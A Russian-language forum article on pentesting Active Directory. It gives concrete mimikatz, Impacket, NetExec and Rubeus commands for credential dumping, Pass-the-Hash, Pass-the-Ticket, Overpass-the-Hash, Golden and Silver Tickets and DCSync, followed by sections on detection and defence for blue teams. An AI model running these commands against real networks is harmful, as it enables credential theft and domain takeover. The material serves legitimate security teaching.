

Статья Pass-the-Hash атака Active Directory: от NTLM-хеша до Domain Admin через lateral movement

 codeby.net/threads/pass-the-hash-ataka-active-directory-ot-ntlm-khesha-do-domain-admin-cherez-lateral-movement.92631

April 15, 2026

[Добавить закладку](#)



При проведении внутреннего пентеста корпоративной AD-среды, редко нужен чей-то пароль в открытом виде. Достаточно получить NTLM-хеш одной привилегированной учётки - и через 15 минут мы на контроллере домена. Никакой магии, просто фундаментальная особенность протокола NTLM: хеш пароля функционально эквивалентен самому паролю. Для протокола разницы нет.

Дальше - полная цепочка атак: от дампа учётных данных через Pass-the-Hash и Pass-the-Ticket до захвата домена (в [общем гайде по пентесту Active Directory](#) эти техники вписаны в полный маршрут от разведки до DA). Каждый шаг с конкретными командами, разбором флагов и объяснением того, что именно видит Blue Team на каждом этапе.

Почему NTLM-хеш равнозначен паролю

Прежде чем переходить к эксплуатации NTLM хешей, стоит разобраться в корневой причине. Когда пользователь Windows задаёт пароль, система вычисляет его NTLM-

хеш через алгоритм MD4. Этот хеш валяется в памяти процесса LSASS, в базе SAM (для локальных аккаунтов) и в NTDS.dit на контроллере домена.

Корень проблемы: при NTLM-аутентификации по схеме challenge-response хеш используется напрямую для вычисления ответа на challenge сервера. Пароль в открытом виде не требуется ни на одном этапе. Более того, NTLM-хеши не используют соль (salt) - два одинаковых пароля всегда дают идентичный хеш, и он остаётся неизменным от сессии к сессии, пока пользователь не сменит пароль.

Как описано в [MITRE ATT&CK T1550.002](#) (Pass the Hash), атакующий может аутентифицироваться на удалённом сервере, используя перехваченный хеш вместо пароля. Для протокола NTLM разницы между «знаю пароль» и «имею хеш» попросту не существует.

Схема NTLM challenge-response:

1. Клиент отправляет запрос на аутентификацию
2. Сервер возвращает случайный 8-байтовый challenge (nonce)
3. Клиент вычисляет response на основе NTLM-хеша: в NTLMv1 - тройное DES-шифрование challenge (хеш дополняется нулями до 21 байта, разбивается на три 7-байтовых блока, из каждого блока генерируется 8-байтовый DES-ключ с добавлением parity bits, каждым ключом шифруется 8-байтовый challenge), в NTLMv2 (по умолчанию в современных Windows) - HMAC-MD5 от challenge и client blob. В обоих случаях достаточно знания хеша
4. Сервер проверяет response, используя хеш из своей базы

На третьем шаге используется именно хеш, а не пароль. Это и делает Pass-the-Hash атаку Active Directory возможной.

Credential dumping: извлечение хешей из Windows

Перед выполнением lateral movement в Active Directory нужно получить хеши. По классификации MITRE ATT&CK это техника [OS Credential Dumping \(T1003, Credential Access\)](#). Два основных источника: база SAM и память процесса LSASS.

Извлечение хешей из базы SAM

SAM (Security Account Manager) - защищённая ветка реестра Windows, хранящая NTLM-хеши локальных учётных записей. Для извлечения нужны права SYSTEM или привилегия SeBackupPrivilege. По MITRE - подтехника T1003.002 (Security Account Manager, Credential Access).

Экспорт через PowerShell:

```
reg save HKLM\SAM sam.save  
reg save HKLM\SYSTEM system.save
```

Расшифровка офлайн через secretdump:

```
secretdump.py -sam sam.save -system system.save LOCAL
```

Через mimikatz - в одну сессию:

```
privilege::debug  
token::elevate  
lsadump::sam
```

Что тут происходит: `privilege::debug` включает привилегию отладки (`SeDebugPrivilege`), `token::elevate` имперсонирует токен локального администратора с привилегиями `SYSTEM`, `lsadump::sam` тянет содержимое базы `SAM`.

Ограничение `SAM`: она содержит только локальные учётные записи. Доменные аккаунты здесь не живут. Но если локальный администратор использует один и тот же пароль на нескольких машинах (а на практике я это встречаю в большинстве корпоративных сред), хеш из `SAM` одной машины открывает доступ к остальным.

Дамп LSASS: доменные учётные данные из памяти

Процесс `lsass.exe` - сердце аутентификации Windows. Согласно MITRE ATT&CK T1003.001 (LSASS Memory), он загружает Security Support Providers (SSP), хранит в памяти NTLM-хеши, Kerberos TGT/TGS билеты, сессионные ключи и токены доступа всех пользователей, прошедших аутентификацию на машине. Если администратор домена хотя бы раз залогинился на скомпрометированную рабочую станцию (через RDP, PSEXEC или интерактивно) - его NTLM-хеш сидит в памяти LSASS как минимум на протяжении активной сессии (включая disconnected RDP-сессии), а в ряде конфигураций - и после logoff, вплоть до перезагрузки. На системах до Windows 8.1/2012 R2 без KB2871997 WDigest-пароли хранились в открытом виде по умолчанию; KB2871997 отключает WDigest и сокращает время хранения учётных данных, но не гарантирует полную очистку при logoff во всех сценариях. Надёжную защиту от дампа LSASS даёт только Credential Guard.

Дамп через mimikatz:

```
privilege::debug  
sekurlsa::logonpasswords
```

Команда `sekurlsa::logonpasswords` вытаскивает из LSASS всё подряд: NTLM-хеши, Kerberos-тикеты, пароли в открытом виде (если WDigest включён). В результате - имя пользователя, домен, NTLM-хеш и, в некоторых конфигурациях, пароль в plaintext. Лично у меня на пентестах WDigest-пароли в plaintext попадают реже, чем раньше, но на legacy-серверах - до сих пор.

Удалённый credential dumping AD через NetExec (ранее CrackMapExec):

```
nxc smb 192.168.1.10 -u admin -H <ntlm-hash> --lsa
```

Флаг `--lsa` указывает на извлечение секретов LSA, включая кешированные доменные учётные данные.

Pass-the-Hash: горизонтальное перемещение через NTLM

Хеши на руках - переходим к эксплуатации. Pass-the-Hash - передача перехваченного NTLM-хеша напрямую в протокол аутентификации без знания исходного пароля.

PtH через mimikatz (sekurlsa::p)

```
sekurlsa::pth /user:administrator /domain:corp.local  
/ntlm:e19ccf75ee54e06b06a5907af13cef42
```

Эта команда создаёт новый процесс (по умолчанию `cmd.exe`) с токеном аутентификации, использующим указанный NTLM-хеш. Визуально в командной строке вы увидите текущего пользователя, но все сетевые аутентификации пойдут от имени `corp.local\administrator`.

Разбор флагов:

- `/user:` - имя целевого аккаунта
- `/domain:` - домен (или имя машины для локальных аккаунтов)
- `/ntlm:` - 32-символьный NTLM-хеш (MD4 от Unicode-пароля)

После выполнения из нового `cmd.exe` можно зайти на ресурсы:

```
dir \\dc01.corp.local\c$
```

Если хеш принадлежит администратору домена - эта команда вернёт листинг диска C контроллера домена. Вот так просто.

PtH через Impacket

Impacket - набор Python-скриптов для работы с протоколами Windows. Для Pass-the-Hash три основных инструмента: `psexec.py`, `wmiexec.py` и `smbexec.py`:

```
# psexec.py - создаёт сервис на целевой машине, возвращает интерактивный shell
psexec.py corp.local/administrator@192.168.1.1 -hashes
:e19ccf75ee54e06b06a5907af13cef42
```

```
# wmiexec.py - использует WMI для выполнения команд (менее шумный)
wmiexec.py corp.local/administrator@192.168.1.1 -hashes
:e19ccf75ee54e06b06a5907af13cef42
```

```
# smbexec.py - выполнение через временный сервис и cmd.exe без загрузки отдельного
исполняемого файла (semi-interactive shell, но оставляет Event ID 7045 и временные
файлы вывода)
smbexec.py corp.local/administrator@192.168.1.1 -hashes
:e19ccf75ee54e06b06a5907af13cef42
```

Формат -hashes требует LM:NT. Если LM-хеш отсутствует (а в современных системах он по умолчанию не хранится), перед двоеточием ставится пустое значение:
:e19ccf75ee54e06b06a5907af13cef42.

Разница между инструментами на практике: psexec.py создаёт Windows-сервис и оставляет больше артефактов в логах (Event ID 7045). wmiexec.py работает через WMI и менее заметен, но требует открытый порт 135 (RPC). Лично я использую wmiexec.py для первичной разведки, а psexec.py - когда нужен полноценный интерактивный shell.

PtH через NetExec (CrackMapExec)

NetExec (nxc) - рабочая лошадка для массовой проверки хешей на множестве хостов:

```
# Проверка хеша на диапазоне IP
nxc smb 192.168.1.0/24 -u administrator -H e19ccf75ee54e06b06a5907af13cef42

# Выполнение команды при успешной аутентификации
nxc smb 192.168.1.10 -u administrator -H e19ccf75ee54e06b06a5907af13cef42 -x
"whoami /all"

# Дамп SAM с удалённой машины
nxc smb 192.168.1.10 -u administrator -H e19ccf75ee54e06b06a5907af13cef42 --sam
```

В выводе рядом с каждым хостом - статус: [+] означает успешную аутентификацию, (Pwn3d!) - что аккаунт является локальным администратором на машине. За секунды видно, на каких хостах хеш даёт привилегированный доступ, и можно спланировать маршрут горизонтального перемещения в сети.

Pass-the-Ticket: Kerberos ticket hijacking

Pass-the-Ticket (PtT) - принципиально другая техника, хотя цель та же: lateral movement в Active Directory без знания пароля. Если PtH работает с NTLM-хешами и протоколом NTLM, то PtT оперирует Kerberos-тикетами.

Согласно [MITRE ATT&CK \(T1550.003, Pass the Ticket\)](#), атакующие используют украденные Kerberos-тикеты для перемещения в среде, обходя стандартные механизмы контроля доступа.

Kerberos TGT и TGS: что именно мы крадём

Kerberos использует два типа билетов:

Параметр	TGT (Ticket Granting Ticket)	TGS (Ticket Granting Service)
Назначение	Подтверждает личность пользователя перед KDC	Предоставляет доступ к конкретному сервису
Выдаёт	KDC (AS_REP)	TGS (TGS_REP)
Область применения	Запрос любых TGS в домене	Доступ к одному сервису (SMB, HTTP, SQL)
Срок жизни	По умолчанию 10 часов	По умолчанию 10 часов
Ценность для атакующего	Высокая - эквивалент сессии пользователя	Средняя - доступ только к одному ресурсу

Перехватив TGT пользователя, мы можем запрашивать TGS к любому сервису, к которому у него есть доступ. Перехваченный TGS даёт доступ только к конкретному ресурсу. Разница существенная.

PtT через Rubeus

Rubeus - основной инструмент для работы с Kerberos в AD-среде. Экспорт тикетов из текущей сессии:

```
# Дамп всех Kerberos-тикетов из памяти
Rubeus.exe dump
```

```
# Дамп только TGT текущего пользователя
Rubeus.exe dump /service:krbtgt
```

```
# Инъект украденного тикета в текущую сессию
Rubeus.exe ptt /ticket:<base64-encoded-ticket>
```

Через mimikatz:

```
# Экспорт всех Kerberos-тикетов на диск
kerberos::list /export
```

```
# Инъект тикета из файла
kerberos::ptt ticket.kirbi
```

После инъекта TGT в текущую сессию все последующие обращения к ресурсам домена аутентифицируются от имени владельца тикета. В сетевом трафике идёт Kerberos AP_REQ с валидным тикетом - принципиальное отличие от PtH, где трафик содержит NTLM challenge-response.

Разница между PtH и PtT на уровне сети

Для Blue Team критически важно понимать различие:

Критерий	Pass-the-Hash	Pass-the-Ticket
Протокол	NTLM	Kerberos
Что передаётся	NTLM response на challenge	Kerberos-тикет (AP_REQ)
Трафик на DC	Да - для доменных аккаунтов целевой хост пересылает response на DC через Netlogon (NRPC). Нет - только для локальных аккаунтов	PtT с TGT - да, при каждом запросе TGS (4769); PtT с TGS - нет, тикет предъявляется напрямую сервису
Детект по Event ID	4624 (Logon Type 3, AuthPkg NTLM)	4768/4769 (аномальный IP)
Срок действия	Пока не сменён пароль	До истечения тикета (10ч)
Какие порты используются	445 (SMB), 135 (RPC)	88 (Kerberos), 445 (SMB)

Overpass-the-Hash: мост между NTLM и Kerberos

Overpass-the-Hash (он же Pass-the-Key) - гибридная атака, которую я использую чаще всего на реальных проектах. Идея: берём NTLM-хеш, но вместо NTLM-аутентификации используем его для запроса Kerberos TGT. На выходе - легитимный Kerberos-тикет, полученный на основе хеша.

Зачем это нужно? В средах, где NTLM ограничен через GPO (Network Security: Restrict NTLM), обычный PtH не сработает. Но Kerberos-аутентификация с TGT, полученным через overpass-the-hash, пройдет без проблем.

Через mimikatz:

```
sekurlsa::pth /user:administrator /domain:corp.local  
/ntlm:e19ccf75ee54e06b06a5907af13cef42 /run:powershell.exe
```

Команда выглядит идентично обычному PtH, но под капотом всё иначе. mimikatz создаёт новый процесс с фиктивным паролем, затем патчит NTLM-хеш (и опционально AES-ключи) в структурах LSASS для этого логон-сеанса. При первом обращении к сетевому ресурсу Kerberos SSP использует подставленный хеш как long-term key (etype 23 / RC4-HMAC) для шифрования timestamp в AS_REQ pre-authentication. На DC в Event ID 4768 будет виден Encryption Type 0x17 (RC4-HMAC) - красный флаг, если доменная политика требует AES. Rubeus.exe asktgt работает иначе: не лезет в LSASS, а напрямую формирует AS_REQ из пользовательского процесса.

Что это значит для детекта: sekurlsa::pth триггерит Sysmon Event ID 10 (доступ к lsass.exe с правами PROCESS_VM_WRITE) и Event ID 4624 Logon Type 9; Rubeus.exe asktgt ловится через Sysmon Event ID 3 (сетевое подключение к порту 88 от процесса, отличного от lsass.exe).

Через Rubeus:

```
Rubeus.exe asktgt /user:administrator /rc4:e19ccf75ee54e06b06a5907af13cef42 /ptt
```

Разбор флагов:

- /user: - целевой аккаунт
- /rc4: - NTLM-хеш (RC4 = NTLM в контексте Kerberos)
- /ptt - Pass-the-Ticket, автоматический инъект полученного TGT в текущую сессию

Если доступен AES-ключ (более скрытный вариант, т.к. RC4 в Kerberos считается устаревшим и может триггерить алерты):

```
Rubeus.exe asktgt /user:administrator /aes256:<aes256-key> /ptt
```

Golden Ticket и Silver Ticket атаки Kerberos

Когда атакующий добрался до контроллера домена - открывается возможность подделки Kerberos-тикетов. Тут начинается самое интересное.

Golden Ticket атака

Golden Ticket - поддельный TGT, подписанный хешем учётной записи KRBTGT. Согласно MITRE ATT&CK T1558.001 (Golden Ticket), эта техника позволяет атакующему генерировать произвольные TGT. Учётная запись KRBTGT используется контроллером домена для шифрования всех TGT в домене. Если атакующий получает её NTLM-хеш (например, через DCSync), он может генерировать TGT для любого пользователя, включая несуществующих, с любыми привилегиями. По сути - карт-бланш на весь домен.

Извлечение хеша KRBTGT через DCSync:

```
# mimikatz - DCSync для учётной записи krbtgt  
lsadump::dcsync /domain:corp.local /user:krbtgt
```

Создание Golden Ticket:

```
kerberos::golden /user:ControlledAdmin /domain:corp.local /sid:S-1-5-21-XXXXXXXXXX  
/krbtgt:<krbtgt-ntlm-hash> /ptt
```

Важный нюанс: Golden Ticket действует даже после смены пароля скомпрометированного пользователя - до тех пор, пока не сменён пароль KRBTGT дважды. Первая смена инвалидирует текущий хеш, вторая - предыдущий, который AD хранит для совместимости. Между сменами нужно выждать минимум 12 часов (время репликации). На практике многие забывают про вторую смену - и удивляются, почему атакующий всё ещё внутри.

Silver Ticket атака

Silver Ticket - поддельный TGS для конкретного сервиса, описанный в MITRE ATT&CK как T1558.002 (Silver Ticket). Подписывается хешем сервисной учётной записи (а не KRBTGT). Плюс: не требует обращения к контроллеру домена, поэтому операция менее заметна.

```
kerberos::golden /user:fakeuser /domain:corp.local /sid:S-1-5-21-XXXXXXXXXX  
/target:sqlserver.corp.local /service:MSSQLSvc /rc4:<service-account-hash> /ptt
```

Silver Ticket ограничен одним сервисом, но позволяет обращаться к нему без генерации событий на DC (нет Event ID 4769, поскольку TGS не запрашивался через KDC). Для SOC это головная боль - детектить приходится на стороне целевого сервиса.

Полная цепочка: [от рабочей станции до Domain Admin](#)

На реальных пентестах атаки на Active Directory разворачиваются по предсказуемому пути. Согласно данным Qualys, типичная последовательность:

Initial Access → Credential Dumping (LSASS) → Pass-the-Hash или Pass-the-Ticket → Lateral Movement → Privilege Escalation → Domain Takeover.

Как это выглядит руками:

Шаг 1. Первоначальный доступ. Компрометация рабочей станции через фишинг, эксплуатацию веб-приложения или физический доступ. Получение локальных прав администратора.

Шаг 2. Дамп LSASS. На скомпрометированной машине вытаскиваем все хеши из памяти:

```
privilege::debug  
sekurlsa::logonpasswords
```

Находим NTLM-хеш доменного пользователя, который входил на эту машину.

Шаг 3. Pass-the-Hash - lateral movement. Проверяем, где этот хеш даёт администраторский доступ:

```
nxc smb 192.168.1.0/24 -u j.smith -H  
aad3b435b51404eeaad3b435b51404ee:e19ccf75ee54e06b06a5907af13cef42
```

Шаг 4. Повторный credential dumping. На каждой новой скомпрометированной машине дампит LSASS - ищем хеши более привилегированных аккаунтов (IT-администраторов, сервисных учёток).

Шаг 5. Получение Domain Admin. Когда находим хеш Domain Admin, используем его для доступа к контроллеру домена:

```
wmiexec.py corp.local/domainadmin@dc01.corp.local -hashes  
:a87f3c657b8e4e0e894b032f7f14bffe
```

Шаг 6. DCSync (MITRE ATT&CK T1003.006). На DC выполняем DCSync для извлечения всех хешей домена:

```
lsadump::dcsync /domain:corp.local /all /csv
```

Весь путь от рабочей станции до полного контроля над доменом может занять менее часа - если администраторы не следуют принципу минимальных привилегий и логинятся на пользовательские машины. На одном проекте мы прошли эту цепочку за 40 минут: helpdesk-аккаунт на рабочей станции → хеш IT-администратора в LSASS → DA на файловом сервере. Классика.

Детектирование: что видит Blue Team

Каждая техника оставляет следы. Вот конкретные индикаторы для SOC-команд.

Детектирование Pass-the-Hash

Основной индикатор - Event ID 4624 (успешный вход) с параметрами:

- **Logon Type: 9** (NewCredentials) - на машине-источнике при использовании `sekurlsa::p`. Это событие видно ТОЛЬКО на машине атакующего. Если она не мониторится SIEM - индикатор бесполезен. Logon Process на источнике - `seclogon`. Для генерации требуется включённая политика Audit Logon Events (Success) - на рабочих станциях без централизованного аудита оно может не логироваться
- **Logon Type: 3** (Network) - на целевой машине и DC. Logon Process - `NtLmSsp`. Единственный индикатор, если мониторинг ведётся только на серверах и DC
- **Authentication Package: NTLM** - при сетевом входе

Дополнительно:

- Sysmon Event ID 10 - доступ к процессу `lsass.exe` (индикатор credential dumping)
- Event ID 4648 - вход с явным указанием учётных данных

По данным NCC Group, ключевой паттерн для детектирования - NTLM-аутентификация (Event ID 4624, Logon Type 3, AuthPkg NTLM), которой не предшествует интерактивный вход (Event ID 4624, Logon Type 2 или 10) с того же аккаунта. Легитимные подключения обычно начинаются с интерактивного входа, а затем генерируют сетевые сессии. PtH создаёт сетевую сессию «из воздуха». Но тут есть нюанс: без предварительного baseline легитимных NTLM-аутентификаций (сервисные аккаунты, scheduled tasks, мониторинг) правило генерирует кучу false positives. Сначала baseline - потом алерты.

Детектирование Pass-the-Ticket

- Event ID 4768 - запрос TGT. Аномалия: TGT запрашивается с IP-адреса, не соответствующего обычному расположению пользователя
- Event ID 4769 - запрос TGS. Аномалия: массовые запросы TGS к разным сервисам за короткий промежуток
- Event ID 4672 - назначение специальных привилегий при входе. В связке с 4624 указывает на привилегированный доступ

Детектирование Golden Ticket

Golden Ticket детектируется сложнее, но характерные признаки есть:

- TGT с аномально долгим сроком жизни (по умолчанию Golden Ticket создаётся с lifetime 10 лет - не самый скрытный дефолт)
- Имя пользователя в TGT не существует в AD
- Расхождение между доменной политикой Kerberos и параметрами тикета

Защита и предотвращение атак на Active Directory

На основе практического опыта пентестов и рекомендаций MITRE ATT&CK - приоритизированный список мер.

Ограничение NTLM

Самая действенная мера против Pass-the-Hash - отключение NTLM. GPO:

Network Security: Restrict NTLM: NTLM authentication in this domain → Deny All

Перед включением этой политики обязательно проведите аудит: настройте [URL='https://learn.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/network-security-restrict-ntlm-ntlm-authentication-in-this-domain']Network Security: Restrict NTLM[/URL]: Audit Incoming NTLM Traffic, чтобы выявить сервисы, зависящие от NTLM, как рекомендует Vaadata. Я видел случаи, когда после отключения NTLM без аудита ложилась половина легаси-приложений. Переход на Kerberos устраняет PtH, но не PtT.

Защита учётных данных

- **Credential Guard** (Windows 10/11, Server 2016+) - изолирует LSASS в виртуальной среде, делая дамп хешей невозможным стандартными инструментами. На пентестах это реально мешает
- **Protected Users security group** - члены этой группы не кешируют NTLM-хешы и не могут использоваться для PtH
- Запрет WDigest - отключает хранение паролей в открытом виде в LSASS (HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest → UseLogonCredential = 0)

Принцип минимальных привилегий

- Администраторы домена не должны логиниться на пользовательские рабочие станции - их хешы не должны попадать в LSASS этих машин. Звучит очевидно, но нарушается повсеместно
- Используйте отдельные аккаунты для администрирования серверов и рабочих станций
- Внедрите модель тиров (Tier 0 - DC, Tier 1 - серверы, Tier 2 - рабочие станции) с запретом аутентификации аккаунтов верхнего тира на машинах нижнего

Мониторинг и реагирование

- Мониторинг Event ID 4624 с Logon Type 3 + NTLM на критических серверах
- Алертинг на доступ к процессу lsass.exe (Sysmon Event ID 10)
- Регулярная ротация пароля KRBTGT (каждые 180 дней минимум) - инвалидирует Golden Ticket
- Ротация паролей сервисных учётных записей - инвалидирует Silver Ticket

Защита от атак на Active Directory - не одна серебряная пуля, а многоуровневая стратегия. Ни одно техническое решение не закрывает все описанные векторы. Но если вы понимаете, как работает каждая техника и что она оставляет в логах, можно выстроить детектирование, которое поймает атакующего до того, как он доберётся до контроллера домена. Проверьте для начала: на скольких машинах в вашей сети один и тот же локальный пароль администратора? Если ответ «на всех» - у вас та же проблема, что и у 80% компаний, которые я тестировал.

Последнее редактирование модератором: